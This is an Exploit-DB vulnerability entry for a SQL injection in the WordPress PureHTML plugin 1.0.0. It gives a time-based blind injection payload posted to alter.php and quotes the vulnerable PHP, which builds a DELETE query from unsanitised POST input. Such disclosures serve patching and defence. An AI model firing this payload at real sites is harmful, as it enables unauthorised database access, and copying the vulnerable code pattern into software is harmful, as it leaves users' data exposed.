WordPress PureHTML plugin <= 1.0.0 - SQL Injection

2011-08-30T00:00:00
ID EDB-ID:17758
Type exploitdb
Reporter Miroslav Stampar
Modified 2011-08-30T00:00:00

Description

WordPress PureHTML plugin <= 1.0.0 - SQL Injection. Webapps exploit for php platform

                                        
                                            # Exploit Title: WordPress PureHTML plugin &lt;= 1.0.0 SQL Injection Vulnerability
# Date: 2011-08-31
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/pure-html.1.0.0.zip
# Version: 1.0.0 (tested)
# Note: magic_quotes has to be turned off

---------------
PoC (POST data)
---------------
http://www.site.com/wp-content/plugins/pure-html/alter.php
 PureHTMLNOnce=1&action=delete&id=-1' AND 1=IF(2&gt;1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20

---------------
Vulnerable code
---------------
if(!isset($_POST['PureHTMLNOnce'])){
    if ( !wp_verify_nonce( $_POST['PureHTMLNOnce'], plugin_basename(__FILE__) )) {header("location:".$refer);}
}
else{
    ...
    if(isset($_POST['id'])){$id = $_POST['id'];}else{$id='0';}
    ...
    $action = $_POST['action'];
    
    #delete
    if($action == "delete"){
        $sql = "delete from ".$wpdb-&gt;prefix."pureHTML_functions WHERE id='".$id."'";
        $wpdb-&gt;query($wpdb-&gt;prepare($sql)); //misusage of $wpdb-&gt;prepare() :)